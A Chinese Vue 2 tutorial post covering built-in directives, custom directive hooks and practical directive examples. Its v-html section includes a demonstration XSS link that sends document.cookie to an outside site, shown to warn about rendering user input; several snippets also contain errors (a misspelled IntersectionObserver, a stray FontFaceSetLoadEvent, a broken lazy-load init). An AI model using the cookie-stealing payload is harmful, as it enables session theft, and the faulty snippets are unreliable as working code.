部分转自:https://blog.csdn.net/weixin_58032613/article/details/122759818

1 常用指令

1) v-bind

  单向数据绑定

  https://www.cnblogs.com/jthr/p/16390591.html

2 ) v-model

  双向数据绑定

  https://www.cnblogs.com/jthr/p/16390591.html

3 )v-for

  遍历

  https://www.cnblogs.com/jthr/p/16435164.html

4 )v-on

  绑定事件

  https://www.cnblogs.com/jthr/p/16410349.html

5 )v-show

  条件渲染

  https://www.cnblogs.com/jthr/p/16427643.html

6 )v-if v-elseif v-else

  条件渲染

  https://www.cnblogs.com/jthr/p/16427643.html

7 ) v-text

  向节点中渲染文本内容,若节点本来存在内容,会被替换掉,它不解读html标签,只会当做字符串展示

<title>v-text指令</title>
<script type="text/javascript" src="../js/vue.js"></script> <div id="root">
<div>你好,{{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div> <script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
name:'cess',
str:'<h3>你好啊!</h3>'
}
})
</script>

  

8 )v-html

  和v-text的区别是,会识别html标签,注意,为了保证安全性,不要在用户可操作性的节点使用它

<title>v-html指令</title>
<script type="text/javascript" src="../js/vue.js"></script> <div id="root">
<div>你好,{{ name }}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div> <script type="text/javascript">
Vue.config.productionTip = FontFaceSetLoadEvent
new Vue({
el:'#root',
data:{
name:'cess',
str:'<h3>你好啊!</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
}
})
</script>

9) v-clock

   它就是给模板加上了一个名为v-clock的属性,vue在创建实例接管容器后会删除掉这个属性。

      和样式配合可以解决掉网络慢时页面显示{{xxx}}的问题

<title>v-cloak指令</title>

<style>
[v-cloak] {
display:none;
}
</style> <div id="root">
<h2 v-cloak>{{ name }}</h2>
</div> // 够延迟5秒收到vue.js
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script> <script type="text/javascript">
console.log(1)
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{name:'cess'}
})
</script>

10) v-once

  vue对该节点只会渲染一次,渲染之后就视作静态内容了,后面数据变化了,也不会重新渲染

<title>v-once指令</title>
<script type="text/javascript" src="../js/vue.js"></script> <div id="root">
<h2 v-once>初始化的n值是: {{n}}</h2>
<h2>当前的n值是: {{n}}</h2>
<button @click="n++">点我n+1</button>
</div> <script type="text/javascript">
Vue.config.productionTip = false
new Vue({ el: '#root', data: {n:1} })
</script>

11) v-pre

  vue不会去处理该节点

2 自定义指令

2.1 简介

  我们看到的v-开头的行内属性,都是指令,不同的指令可以完成或实现不同的功能,对普通 DOM元素进行底层操作,这时候就会用到自定义指令。除了核心功能默认内置的指令 (v-model 和 v-show),Vue 也允许注册自定义指令

2.2 指令作用范围

  注册一个自定义指令有全局注册与局部注册

  全局注册注册主要是用过Vue.directive方法进行注册

  Vue.directive第一个参数是指令的名字(不需要写上v-前缀),第二个参数可以是对象数据,也可以是一个指令函数

2.3 语法

1)局部指令

new Vue({
directives:{
指令名:配置对象
}
}) new Vue({
directives:{
指令名:回调函数
}
})

2)全局指令

Vue.directive(指令名, 配置对象)

Vue.directive(指令名, 回调函数) Vue.directive('fbind', {
// 指令与元素成功绑定时(一上来)
bind(element, binding) { // element就是DOM元素,binding就是要绑定的
element.value = binding.value
},
// 指令所在元素被插入页面时
inserted(element, binding) {
element.focus()
},
// 指令所在的模板被重新解析时
update(element, binding) {
element.value = binding.value
}
})

3)自定义指令采用配置对象格式时沟子函数

  bind:只调用一次,指令第一次绑定到元素时调用。在这里可以进行一次性的初始化设置
  inserted:被绑定元素插入父节点时调用 (仅保证父节点存在,但不一定已被插入文档中)
  update:所在组件的 VNode 更新时调用,但是可能发生在其子 VNode更新之前。指令的值可能发生了改变,也可能没有。但是你可以通过比较更新前后的值来忽略不必要的模板更新
  componentUpdated:指令所在组件的 VNode 及其子 VNode 全部更新后调用
  unbind:只调用一次,指令与元素解绑时调用

4)所有的钩子函数的参数都有以下

  el:指令所绑定的元素,可以用来直接操作

  DOMbinding:一个对象,包含以下 property

`name`:指令名,不包括 v- 前缀。

`value`:指令的绑定值,例如:v-my-directive="1 + 1" 中,绑定值为 2。

`oldValue`:指令绑定的前一个值,仅在 update 和 componentUpdated 钩子中可用。无论值是否改变都可用。

`expression`:字符串形式的指令表达式。例如 v-my-directive="1 + 1" 中,表达式为 "1 + 1"。

`arg`:传给指令的参数,可选。例如 v-my-directive:foo 中,参数为 "foo"。

`modifiers`:一个包含修饰符的对象。例如:v-my-directive.foo.bar 中,修饰符对象为 { foo: true, bar: true }

`vnode`:Vue 编译生成的虚拟节点

`oldVnode`:上一个虚拟节点,仅在 update 和 componentUpdated 钩子中可用

  除了 el 之外,其它参数都应该是只读的,切勿进行修改。如果需要在钩子之间共享数据,建议通过元素的 dataset 来进行

2.4 示例

<title>自定义指令</title>
<script type="text/javascript" src="../js/vue.js"></script> <div id="root">
<h2>{{ name }}</h2>
<h2>当前的n值是:<span v-text="n"></span> </h2>
<!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
<button @click="n++">点我n+1</button>
<hr />
<input type="text" v-fbind:value="n">
</div> <script type="text/javascript">
Vue.config.productionTip = false // 定义全局指令
/* Vue.directive('fbind',{
// 指令与元素成功绑定时(一上来)
bind(element,binding){
element.value = binding.value
},
// 指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
// 指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
}) */ new Vue({
el: '#root',
data: {
name: '尚硅谷',
n: 1
},
directives: {
// big函数何时会被调用?
// 1.指令与元素成功绑定时(一上来) 2.指令所在的模板被重新解析时
/* 'big-number'(element,binding){
// console.log('big')
element.innerText = binding.value * 10
}, */
big(element, binding) {
console.log('big', this) // 注意此处的 this 是 window
// console.log('big')
element.innerText = binding.value * 10
},
fbind: {
// 指令与元素成功绑定时(一上来)
bind(element, binding) {
element.value = binding.value
},
// 指令所在元素被插入页面时
inserted(element, binding) {
element.focus()
},
// 指令所在的模板被重新解析时
update(element, binding) {
element.value = binding.value
}
}
}
})
</script>

3 实际应用场景

1)输入框防抖

// 1.设置v-throttle自定义指令
Vue.directive('throttle', {
bind: (el, binding) => {
let throttleTime = binding.value; // 防抖时间
if (!throttleTime) { // 用户若不设置防抖时间,则默认2s
throttleTime = 2000;
}
let cbFun;
el.addEventListener('click', event => {
if (!cbFun) { // 第一次执行
cbFun = setTimeout(() => {
cbFun = null;
}, throttleTime);
} else {
event && event.stopImmediatePropagation();
}
}, true);
},
});
// 2.为button标签设置v-throttle自定义指令
<button @click="sayHello" v-throttle>提交</button>

2)图片懒加载

const LazyLoad = {
// install方法
install(Vue,options){
// 代替图片的loading图
let defaultSrc = options.default;
Vue.directive('lazy',{
bind(el,binding){
LazyLoad.init(el,binding.value,defaultSrc);
},
inserted(el){
// 兼容处理
if('InterpObserver' in window){
LazyLoad.observe(el);
}else{
LazyLoad.listenerScroll(el);
} },
})
},
// 初始化
init(el,val,def){
// src 储存真实src
el.setAttribute('src',val);
// 设置src为loading图
el.setAttribute('src',def);
},
// 利用InterpObserver监听el
observe(el){
let io = new InterpObserver(entries => {
let realSrc = el.dataset.src;
if(entries[0].isIntersecting){
if(realSrc){
el.src = realSrc;
el.removeAttribute('src');
}
}
});
io.observe(el);
},
// 监听scroll事件
listenerScroll(el){
let handler = LazyLoad.throttle(LazyLoad.load,300);
LazyLoad.load(el);
window.addEventListener('scroll',() => {
handler(el);
});
},
// 加载真实图片
load(el){
let windowHeight = document.documentElement.clientHeight
let elTop = el.getBoundingClientRect().top;
let elBtm = el.getBoundingClientRect().bottom;
let realSrc = el.dataset.src;
if(elTop - windowHeight<0&&elBtm > 0){
if(realSrc){
el.src = realSrc;
el.removeAttribute('src');
}
}
},
// 节流
throttle(fn,delay){
let timer;
let prevTime;
return function(...args){
let currTime = Date.now();
let context = this;
if(!prevTime) prevTime = currTime;
clearTimeout(timer); if(currTime - prevTime > delay){
prevTime = currTime;
fn.apply(context,args);
clearTimeout(timer);
return;
} timer = setTimeout(function(){
prevTime = Date.now();
timer = null;
fn.apply(context,args);
},delay);
}
} }
export default LazyLoad;

3)一键 Copy的功能

import { Message } from 'ant-design-vue';

const vCopy = { //
/*
bind 钩子函数,第一次绑定时调用,可以在这里做初始化设置
el: 作用的 dom 对象
value: 传给指令的值,也就是我们要 copy 的值
*/
bind(el, { value }) {
el.$value = value; // 用一个全局属性来存传进来的值,因为这个值在别的钩子函数里还会用到
el.handler = () => {
if (!el.$value) {
// 值为空的时候,给出提示,我这里的提示是用的 ant-design-vue 的提示,你们随意
Message.warning('无复制内容');
return;
}
// 动态创建 textarea 标签
const textarea = document.createElement('textarea');
// 将该 textarea 设为 readonly 防止 iOS 下自动唤起键盘,同时将 textarea 移出可视区域
textarea.readOnly = 'readonly';
textarea.style.position = 'absolute';
textarea.style.left = '-9999px';
// 将要 copy 的值赋给 textarea 标签的 value 属性
textarea.value = el.$value;
// 将 textarea 插入到 body 中
document.body.appendChild(textarea);
// 选中值并复制
textarea.select();
// textarea.setSelectionRange(0, textarea.value.length);
const result = document.execCommand('Copy');
if (result) {
Message.success('复制成功');
}
document.body.removeChild(textarea);
};
// 绑定点击事件,就是所谓的一键 copy 啦
el.addEventListener('click', el.handler);
},
// 当传进来的值更新的时候触发
componentUpdated(el, { value }) {
el.$value = value;
},
// 指令与元素解绑的时候,移除事件绑定
unbind(el) {
el.removeEventListener('click', el.handler);
},
}; export default vCopy;

4 )拖拽

<div ref="a" id="bg" v-drag></div>

  directives: {
drag: {
bind() {},
inserted(el) {
el.onmousedown = (e) => {
let x = e.clientX - el.offsetLeft;
let y = e.clientY - el.offsetTop;
document.onmousemove = (e) => {
let xx = e.clientX - x + "px";
let yy = e.clientY - y + "px";
el.style.left = xx;
el.style.top = yy;
};
el.onmouseup = (e) => {
document.onmousemove = null;
};
};
},
},
}

5) 输入框自动聚焦

// 注册一个全局自定义指令 `v-focus`
Vue.directive('focus', {
// 当被绑定的元素插入到 DOM 中时
inserted: function (el) {
// 聚焦元素
el.focus()
}
})
//<input v-focus>

6)下拉菜单

  点击下拉菜单本身不会隐藏菜单
  点击下拉菜单以外的区域隐藏菜单

<script>
Vue.directive('clickoutside', {
bind(el, binding) {
function documentHandler(e) {
if (el.contains(e.target)) {
return false
} if (binding.expression) {
binding.value(e)
}
} el.__vueMenuHandler__ = documentHandler
document.addEventListener('click', el.__vueMenuHandler__)
},
unbind(el) {
document.removeEventListener('click', el.__vueMenuHandler__)
delete el.__vueMenuHandler__
}
}) new Vue({
el: '#app',
data: {
show: false
},
methods: {
handleHide() {
this.show = false
}
}
})
</script>
<div class="main" v-menu="handleHide">
<button @click="show = !show">点击显示下拉菜单</button>
<div class="dropdown" v-show="show">
<div class="item"><a href="#">选项 1</a></div>
<div class="item"><a href="#">选项 2</a></div>
<div class="item"><a href="#">选项 3</a></div>
</div>
</div>

Vue19 常用指令及自定义指令的更多相关文章

  1. Angular中的内置指令和自定义指令

    NG中的指令,到底是什么(what)? 为什么会有(why)?以及怎样使用(how)? What: 在NG中,指令扩展HTML功能,为 DOM 元素调用方法.定义行为绑定数据等. Why: 最大程度减 ...

  2. VUE:内置指令与自定义指令

    VUE:内置指令与自定义指令 常用的内置指令 1)v:text 更新元素的 textContent 2)v-html 更新元素的 innerHTML 3)v-if 如果为true,当前标签才会输出到页 ...

  3. 2.0 vue内置指令与自定义指令

    1.1 常用内置指令 1) v:text : 更新元素的 textContent 2) v-html : 更新元素的 innerHTML 3) v-if : 如果为 true, 当前标签才会输出到页 ...

  4. vue.js 四(指令和自定义指令)

    官方的指令说明已经很简单了,这里再写一遍,也是自己加深一下印象 v-text 就是写入单纯的文本,可以忽略这个指令直接双花括号代替 <span v-text="msg"> ...

  5. Vue指令及自定义指令的使用

    导航列表: 一.vue指令 二.自定义指令 一.vue指令 回到顶部    1. v-text v-text主要用来更新textContent,可以等同于JS的text属性,不会解析标签,会把标签解析 ...

  6. AngularJS -- 指令(创建自定义指令)

    点击查看AngularJS系列目录 转载请注明出处:http://www.cnblogs.com/leosx/   什么是指令 注:本指南是针对已经熟悉AngularJS基础知识的开发人员.如果你才刚 ...

  7. Vue的土著指令和自定义指令

    1.土著指令 当我开始学习Vue的时候,看官网的时候看到了"指令"两个字.我愣住了,what?指令是啥啊?后来继续往下看,像这种什么"v-for""v ...

  8. 【vuejs深入一】深入学习vue指令,自定义指令解决开发痛点

    写在前面  一个好的架构需要经过血与火的历练,一个好的工程师需要经过无数项目的摧残. 最近博主我沉淀了几个月,或者说懒了几个月.然而大佬的指点总是一针见血,能够让人看到方向.所以我现在有觉得,一个好的 ...

  9. vue_简介_渐进式 js 框架_内置指令_自定义指令_自定义插件

    vue 尤雨溪 华裔 Google 工程师 遵循 MVVM 模式 编码简洁,体积小,运行效率高,适合 移动 / PC 端 开发 动态构建用户界面: 异步获取后台数据,展现到页面 渐进式 js 框架 渐 ...

  10. vue内置指令与自定义指令

    一.内置指令 1.v-bind:响应并更新DOM特性:例如:v-bind:href  v-bind:class  v-bind:title  v-bind:bb 2.v-on:用于监听DOM事件: 例 ...

随机推荐

  1. AI音乐创作,让每一个人都成为音乐家

    从录音带.MP3到专业的耳机.音箱,随着音乐消费方式的不断升级,音乐创作的专业"门槛"也在AI技术的加持下逐渐大众化,创作者的创新设计.创作频率也在持续增强,能降低创作门槛且智能化 ...

  2. WCF实现大文件上传

    一.文件服务接口 1.文件上传 2.文件传输(上传按钮) 3.文件传输停止 服务地址: 在客端添加服务器引用,从而实现客户端调用服务器的功能. 二.契约 服务契约[ServiceContract]:定 ...

  3. 【Java并发010】使用层面:发令枪CountDownLatch全解析

    一.前言 CountDownLatch是在java1.5被引入,存在于java.util.cucurrent包中,跟它一起被引入的工具类还有CyclicBarrier.Semaphore.concur ...

  4. PGL图学习之图神经网络GraphSAGE、GIN图采样算法[系列七]

    0. PGL图学习之图神经网络GraphSAGE.GIN图采样算法[系列七] 本项目链接:https://aistudio.baidu.com/aistudio/projectdetail/50619 ...

  5. SPFA和链式前向星

    链式前向星 一种存储图的数据结构 建立一个结构体和一个数组加一个变量,这里的to代表边\((u,v)\)中的\(v\)结点,而\(edge\)数组的索引\(idx\)代表\(u\),其中\(w\)代表 ...

  6. ST表优化区间gcd

    ST表的使用需要所求区间答案具有可重复性(询问时需要用到两个区间重叠来覆盖询问区间) 此题要求gcd为x的区间个数 可以用ST表处理出所有区间的\(gcd\) \(O(nlogn)\) 将区间的左端点 ...

  7. java 常用的jar包下载地址

    Eclipse: http://www.eclipse.org/downloads/packages/all Spring: http://Framework: http://repo.spring. ...

  8. JavaEE Day06 JDBC连接池&JDBCTemplate

    今日内容: 数据库连接池 简化操作--Spring JDBC提供的 JDBC Template(JDBC的封装) 一.数据库连接池 1.引入 之前:每一次都要获取连接.释放连接-- 现在:连接重复使用 ...

  9. 《HTTP权威指南》– 6.代理

    代理的概念: Web代理服务器是网络的中间实体.位于客户端和服务器之间,扮演"中间人"的角色,在各端点之间来回传送HTTP报文. 私有和共享代理: 代理服务器可以是某个客户端专用的 ...

  10. plsql developer切换用户

    方法1: 1.双击plsql developer桌面软件图标启动软件 2.在连接窗口中填写连接信息,连接数据库 3.在新建窗口下拉选项中,选择命令窗口功能 4.在工作区内会出现当前用户连接数据库的窗口 ...